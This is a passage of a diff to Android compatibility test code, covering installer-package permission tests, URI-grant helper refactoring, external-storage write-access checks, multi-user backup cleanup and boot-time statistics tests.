+
+    private Context context = InstrumentationRegistry.getContext();
+
+    private PackageManager mPM = context.getPackageManager();
+
+    @BeforeClass
+    public static void adoptPermissions() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES);
+    }
+
+    @AfterClass
+    public static void dropPermissions() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
     }
 
     /**
      * Test that we can set the installer package name (but not the initiating package name).
      */
-    public void testSetInstallPackage() throws Exception {
+    @Test
+    public void setInstallPackage() throws Exception {
         // Pre-condition.
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
 
         mPM.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, MY_PACKAGE, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, MY_PACKAGE, null, mPM);
 
         // Clean up.
         mPM.setInstallerPackageName(OTHER_PACKAGE, null);
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
     }
 
     /**
      * Test that we fail if trying to set an installer package with an unknown
      * target package name.
      */
-    public void testSetInstallPackageBadTarget() throws Exception {
+    @Test
+    public void setInstallPackageBadTarget() throws Exception {
         try {
             mPM.setInstallerPackageName("thisdoesnotexistihope!", MY_PACKAGE);
             fail("setInstallerPackageName did not throw IllegalArgumentException");
@@ -80,23 +122,25 @@
      * Test that we fail if trying to set an installer package with an unknown
      * installer package name.
      */
-    public void testSetInstallPackageBadInstaller() throws Exception {
+    @Test
+    public void setInstallPackageBadInstaller() throws Exception {
         try {
             mPM.setInstallerPackageName(OTHER_PACKAGE, "thisdoesnotexistihope!");
             fail("setInstallerPackageName did not throw IllegalArgumentException");
         } catch (IllegalArgumentException e) {
             // That's what we want!
         }
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
     }
 
     /**
      * Test that we fail if trying to set an installer package that is not
      * signed with our cert.
      */
-    public void testSetInstallPackageWrongCertificate() throws Exception {
+    @Test
+    public void setInstallPackageWrongCertificate() throws Exception {
         // Pre-condition.
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
 
         try {
             mPM.setInstallerPackageName(OTHER_PACKAGE, OTHER_PACKAGE);
@@ -105,66 +149,12 @@
             // That's what we want!
         }
 
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
-    }
-
-    /**
-     * Test that we fail if trying to set an installer package that is not
-     * signed with the same cert as the currently set installer.
-     */
-    public void testSetInstallPackageConflictingInstaller() throws Exception {
-        // Pre-condition.
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
-
-        // Have the other package set the installer, under its cert.
-        Intent intent = new Intent();
-        intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
-        intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
-        intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, OTHER_PACKAGE);
-        call(intent);
-
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null);
-
-        try {
-            mPM.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
-            fail("setInstallerPackageName did not throw SecurityException");
-        } catch (SecurityException e) {
-            // That's what we want!
-        }
-
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null);
-
-        // Now clear the installer
-        intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
-        intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
-        intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, (String)null);
-        call(intent);
-
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
-    }
-
-    private void assertPackageInstallerAndInitiator(String packageName, String expectedInstaller,
-            String expectedInitiator) throws Exception {
-        assertEquals(expectedInstaller, mPM.getInstallerPackageName(packageName));
-        final InstallSourceInfo installSourceInfo = mPM.getInstallSourceInfo(packageName);
-        assertEquals(expectedInstaller, installSourceInfo.getInstallingPackageName());
-        assertEquals(expectedInitiator, installSourceInfo.getInitiatingPackageName());
-
-        // We should get the initiator's signature iff we have an initiator.
-        if (expectedInitiator == null) {
-            assertNull(installSourceInfo.getInitiatingPackageSigningInfo());
-        } else {
-            final SigningInfo expectedSigning = mPM.getPackageInfo(expectedInitiator,
-                    PackageManager.GET_SIGNING_CERTIFICATES).signingInfo;
-            final SigningInfo actualSigning = installSourceInfo.getInitiatingPackageSigningInfo();
-            assertThat(actualSigning.getApkContentsSigners()).asList()
-                    .containsExactlyElementsIn(expectedSigning.getApkContentsSigners());
-        }
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
     }
 
     private void call(Intent intent) {
         final Bundle extras = new Bundle();
         extras.putParcelable(Intent.EXTRA_INTENT, intent);
-        getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
+        context.getContentResolver().call(UtilsProvider.URI, "", "", extras);
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
index 26a2eee..132d7f6 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -22,7 +22,8 @@
 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivities;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 
 import static junit.framework.Assert.fail;
 
@@ -85,7 +86,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(subClip, mode, false);
+        grantClipUriPermissionViaActivities(subClip, mode);
         ReceiveUriActivity.waitForStart();
 
         assertAccess(uri, 0);
@@ -99,7 +100,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(sub2Clip, mode, false);
+        grantClipUriPermissionViaActivity(sub2Clip, mode);
         ReceiveUriActivity.waitForNewIntent();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
index 7be059f..444c1bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -22,7 +22,7 @@
 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaService;
 
 import static junit.framework.Assert.fail;
 
@@ -79,7 +79,7 @@
         // --------------------------------
 
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(subClip, mode, true);
+        grantClipUriPermissionViaService(subClip, mode);
         ReceiveUriService.waitForStart();
 
         int firstStartId = ReceiveUriService.getCurStartId();
@@ -96,7 +96,7 @@
 
         // Send another Intent to it.
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(sub2Clip, mode, true);
+        grantClipUriPermissionViaService(sub2Clip, mode);
         ReceiveUriService.waitForStart();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
index a955dbc..8058d5b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -23,7 +23,7 @@
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
 import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
 
@@ -104,8 +104,8 @@
 
         // Now, let's grant ourselves some access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // We should now have reading access, even before taking the persistable
@@ -129,9 +129,9 @@
 
         // Launch again giving ourselves persistable read and write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Previous persisted grant should be unchanged
@@ -190,8 +190,8 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
@@ -204,7 +204,7 @@
 
         // Now give ourselves exact write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Verify we have exact write access, but not prefix write
@@ -233,9 +233,9 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
index 48cac57..62bad1f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -20,6 +20,7 @@
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITIES;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
@@ -38,6 +39,8 @@
 
 import com.android.cts.permissiondeclareapp.UtilsProvider;
 
+import java.util.Objects;
+
 public class Utils {
     private static Context getContext() {
         return InstrumentationRegistry.getTargetContext();
@@ -49,7 +52,19 @@
         getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
     }
 
-    static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+    static void grantClipUriPermissionViaActivity(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITY);
+    }
+
+    static void grantClipUriPermissionViaActivities(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITIES);
+    }
+
+    static void grantClipUriPermissionViaService(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_SERVICE);
+    }
+
+    private static void grantClipUriPermission(ClipData clip, int mode, String action) {
         Intent grantIntent = new Intent();
         if (clip.getItemCount() == 1) {
             grantIntent.setData(clip.getItemAt(0).getUri());
@@ -65,9 +80,10 @@
         }
         grantIntent.addFlags(mode);
         grantIntent.setClass(getContext(),
-                service ? ReceiveUriService.class : ReceiveUriActivity.class);
+                Objects.equals(ACTION_START_SERVICE, action) ? ReceiveUriService.class
+                        : ReceiveUriActivity.class);
         Intent intent = new Intent();
-        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+        intent.setAction(action);
         intent.putExtra(EXTRA_INTENT, grantIntent);
         call(intent);
     }
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index 13818b7..827b440 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -16,12 +16,8 @@
 
 package com.android.cts.writeexternalstorageapp;
 
-import static android.test.MoreAsserts.assertNotEqual;
-
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_NONE;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.TAG;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoWriteAccess;
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadOnlyAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadWriteAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.buildCommonChildDirs;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.buildProbeFile;
@@ -34,11 +30,10 @@
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.writeInt;
 
 import android.os.Environment;
-import android.os.SystemClock;
+import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
 import android.system.Os;
 import android.test.AndroidTestCase;
-import android.text.format.DateUtils;
 import android.util.Log;
 
 import com.android.cts.externalstorageapp.CommonExternalStorageTest;
@@ -90,15 +85,25 @@
     }
 
     public void testWriteExternalStorage() throws Exception {
-        final long testValue = 12345000;
+        final long newTimeMillis = 12345000;
         assertExternalStorageMounted();
 
         // Write a value and make sure we can read it back
         writeInt(TEST_FILE, 32);
         assertEquals(readInt(TEST_FILE), 32);
 
-        assertTrue("Must be able to set last modified", TEST_FILE.setLastModified(testValue));
-        assertEquals(testValue, TEST_FILE.lastModified());
+        assertTrue("Must be able to set last modified", TEST_FILE.setLastModified(newTimeMillis));
+
+        // This uses the same fd, so info is cached by VFS.
+        assertEquals(newTimeMillis, TEST_FILE.lastModified());
+
+        // Obtain a new fd, using the low FS and check timestamp on it.
+        ParcelFileDescriptor fd =
+                getContext().getContentResolver().openFileDescriptor(
+                        MediaStore.scanFile(getContext().getContentResolver(), TEST_FILE), "rw");
+
+        long newTimeSeconds = newTimeMillis / 1000;
+        assertEquals(newTimeSeconds, Os.fstat(fd.getFileDescriptor()).st_mtime);
     }
 
     public void testWriteExternalStorageDirs() throws Exception {
@@ -109,7 +114,13 @@
         assertFalse(probe.exists());
         assertTrue(probe.mkdirs());
 
-        assertDirReadWriteAccess(probe);
+        try {
+            assertDirReadWriteAccess(probe);
+        }
+        finally {
+            probe.delete();
+            assertFalse(probe.exists());
+        }
     }
 
     /**
@@ -208,9 +219,10 @@
 
     /**
      * Verify that we have write access in our package-specific directories on
-     * secondary storage devices, but it becomes read-only access above them.
+     * secondary storage devices, and it still has read-write access above them (except
+     * /Android/[data|obb] dirs).
      */
-    public void testSecondaryWalkingUpTreeReadOnly() throws Exception {
+    public void testSecondaryWalkingUpTreeReadWrite() throws Exception {
         final List<File> paths = getSecondaryPackageSpecificPaths(getContext());
         final String packageName = getContext().getPackageName();
 
@@ -230,11 +242,18 @@
             // Walk all the way up to root
             while (path != null) {
                 if (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState(path))) {
-                    assertDirReadOnlyAccess(path);
+                    // /Android/data and /Android/obb is not write accessible on any volume
+                    // (/storage/emulated/<user_id>/ or /storage/1234-ABCD/)
+                    if (path.getAbsolutePath().endsWith("/Android/data")
+                            || path.getAbsolutePath().endsWith("/Android/obb")) {
+                        assertDirNoWriteAccess(path);
+                    } else {
+                        assertDirReadWriteAccess(path);
+                    }
                 } else {
                     assertDirNoWriteAccess(path);
+                    assertDirNoWriteAccess(buildCommonChildDirs(path));
                 }
-                assertDirNoWriteAccess(buildCommonChildDirs(path));
                 path = path.getParentFile();
             }
         }
@@ -279,11 +298,11 @@
     }
 
     /**
-     * Secondary external storage mount points must always be read-only, per
+     * Secondary external storage mount points must always be read-only (unless mounted), per
      * CDD, <em>except</em> for the package specific directories tested by
      * {@link CommonExternalStorageTest#testAllPackageDirsWritable()}.
      */
-    public void testSecondaryMountPointsNotWritable() throws Exception {
+    public void testSecondaryMountPoints() throws Exception {
         // Probe path could be /storage/emulated/0 or /storage/1234-5678
         final File probe = buildProbeFile(Environment.getExternalStorageDirectory());
         assertTrue(probe.createNewFile());
@@ -301,11 +320,20 @@
             if (testProbe.exists() || testUserProbe.exists()) {
                 Log.d(TAG, "Primary external mountpoint " + path);
             } else {
-                // This mountpoint is not primary external storage; we must
-                // not be able to write.
                 Log.d(TAG, "Other mountpoint " + path);
-                assertDirNoWriteAccess(path);
-                assertDirNoWriteAccess(userPath);
+                if (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState(path))) {
+                    if (path.getAbsolutePath().endsWith("/Android/data")
+                            || path.getAbsolutePath().endsWith("/Android/obb")) {
+                        assertDirNoWriteAccess(path);
+                    } else {
+                        assertDirReadWriteAccess(path);
+                        assertDirReadWriteAccess(buildCommonChildDirs(path));
+                    }
+                }
+                else {
+                    assertDirNoWriteAccess(path);
+                    assertDirNoWriteAccess(userPath);
+                }
             }
         }
     }
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteGiftTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteGiftTest.java
index bd88fca..3128660 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteGiftTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteGiftTest.java
@@ -17,10 +17,11 @@
 package com.android.cts.writeexternalstorageapp;
 
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_NONE;
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_READ;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.PACKAGE_WRITE;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileNoAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadWriteAccess;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificNoGiftPaths;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificObbGiftPaths;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificPaths;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.readInt;
@@ -33,14 +34,29 @@
 import java.util.List;
 
 public class WriteGiftTest extends AndroidTestCase {
+    public void testStageNonGifts() throws Exception {
+        final List<File> writeList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_WRITE);
+        for (File write : writeList) {
+            write.getParentFile().mkdirs();
+            assertTrue(write.createNewFile());
+            writeInt(write, 102);
+        }
+    }
+
     /**
-     * Verify we can't read other obb dirs.
+     * Verify that we can't leave gifts in other package specific directories.
      */
-    public void testCantAccessOtherObbDirs() throws Exception {
-        final List<File> noneList = getAllPackageSpecificObbGiftPaths(getContext(), PACKAGE_NONE);
+    public void testNoGifts() throws Exception {
+        final List<File> noneList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_NONE);
         for (File none : noneList) {
             assertFileNoAccess(none);
         }
+
+        final List<File> writeList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_WRITE);
+        for (File write : writeList) {
+            assertFileReadWriteAccess(write);
+            assertEquals(102, readInt(write));
+        }
     }
 
     /**
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 6e18c71..400eeeb 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2020 Google Inc.
+# Copyright (C) 2020 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/base.mk b/hostsidetests/appsecurity/test-apps/tinyapp/base.mk
index 3c4581f..8244aad 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/base.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/base.mk
@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2020 Google Inc.
+# Copyright (C) 2020 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
diff --git a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
index 3e7c1da..2f4164f 100644
--- a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
@@ -23,6 +23,8 @@
 import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import com.android.tradefed.log.LogUtil.CLog;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -40,6 +42,12 @@
 
     private Optional<Integer> mProfileUserId = Optional.empty();
 
+    /**
+     * User ID for the system user.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_SYSTEM = 0;
+
     /** Create the profile and start it. */
     @Before
     @Override
@@ -79,11 +87,21 @@
 
         assertTrue(mBackupUtils.isBackupActivatedForUser(profileUserId));
 
-        assertTrue(getDevice().removeUser(profileUserId));
+        removeUser(profileUserId);
         mProfileUserId = Optional.empty();
 
         CommonTestUtils.waitUntil("wait for backup to be deactivated for removed user",
                 BACKUP_DEACTIVATION_TIMEOUT_SECONDS,
                 () -> !mBackupUtils.isBackupActivatedForUser(profileUserId));
     }
+
+    private void removeUser(int userId) throws Exception  {
+        if (getDevice().listUsers().contains(userId) && userId != USER_SYSTEM) {
+            // Don't log output, as tests sometimes set no debug user restriction, which
+            // causes this to fail, we should still continue and remove the user.
+            CLog.d("Stopping and removing user " + userId);
+            getDevice().stopUser(userId, true, true);
+            assertTrue("Couldn't remove user", getDevice().removeUser(userId));
+        }
+    }
 }
diff --git a/hostsidetests/bootstats/Android.bp b/hostsidetests/bootstats/Android.bp
index fa86bcf..3681c59 100644
--- a/hostsidetests/bootstats/Android.bp
+++ b/hostsidetests/bootstats/Android.bp
@@ -17,6 +17,7 @@
     defaults: ["cts_defaults"],
     // Only compile source java files in this apk.
     srcs: ["src/**/*.java"],
+    static_libs: ["framework-protos"],
     libs: [
         "cts-tradefed",
         "tradefed",
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
index 47789f1..9bcf2a1 100644
--- a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -18,11 +18,13 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
 import com.android.os.AtomsProto.Atom;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IDeviceTest;
 
+import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -53,6 +55,11 @@
                 + " in Android 8.0. Current API Level " + apiLevel,
                 apiLevel < 26 /* Build.VERSION_CODES.O */);
 
+        if (apiLevel <= 29 /* Build.VERSION_CODES.Q */) {
+            testBootStatsForApiLevel29AndBelow();
+            return;
+        }
+
         // Clear buffer to make it easier to find new logs
         getDevice().executeShellCommand("logcat --buffer=events --clear");
 
@@ -109,6 +116,69 @@
         return value;
     }
 
+    /** Need to keep the old version of test for api 27, 28, 29 as new version 
+        of tests can be used on devices with old Android versions */
+    private void testBootStatsForApiLevel29AndBelow() throws Exception {
+        long startTime = System.currentTimeMillis();
+        // Clear buffer to make it easier to find new logs
+        getDevice().executeShellCommand("logcat --buffer=events --clear");
+
+        // reboot device
+        getDevice().rebootUntilOnline();
+        waitForBootCompleted();
+        int upperBoundSeconds = (int) ((System.currentTimeMillis() - startTime) / 1000);
+
+        // wait for logs to post
+        Thread.sleep(10000);
+
+        // find logs and parse them
+        // ex: sysui_multi_action: [757,804,799,ota_boot_complete,801,85,802,1]
+        // ex: 757,804,799,counter_name,801,bucket_value,802,increment_value
+        final String bucketTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_BUCKET);
+        final String counterNameTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_NAME);
+        final String counterNamePattern = counterNameTag + ",boot_complete,";
+        final String multiActionPattern = "sysui_multi_action: [";
+
+        final String log = getDevice().executeShellCommand("logcat --buffer=events -d");
+
+        int counterNameIndex = log.indexOf(counterNamePattern);
+        Assert.assertTrue("did not find boot logs", counterNameIndex != -1);
+
+        int multiLogStart = log.lastIndexOf(multiActionPattern, counterNameIndex);
+        multiLogStart += multiActionPattern.length();
+        int multiLogEnd = log.indexOf("]", multiLogStart);
+        String[] multiLogDataStrings = log.substring(multiLogStart, multiLogEnd).split(",");
+
+        boolean foundBucket = false;
+        int bootTime = 0;
+        for (int i = 0; i < multiLogDataStrings.length; i += 2) {
+            if (bucketTag.equals(multiLogDataStrings[i])) {
+                foundBucket = true;
+                Assert.assertTrue("histogram data was truncated",
+                        (i + 1) < multiLogDataStrings.length);
+                bootTime = Integer.valueOf(multiLogDataStrings[i + 1]);
+            }
+        }
+        Assert.assertTrue("log line did not contain a tag " + bucketTag, foundBucket);
+        Assert.assertTrue("reported boot time must be less than observed boot time",
+                bootTime < upperBoundSeconds);
+        Assert.assertTrue("reported boot time must be non-zero", bootTime > 0);
+    }
+
+    private boolean isBootCompleted() throws Exception {
+        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+    }
+
+    private void waitForBootCompleted() throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted()) {
+                return;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+
     @Override
     public void setDevice(ITestDevice device) {
         mDevice = device;
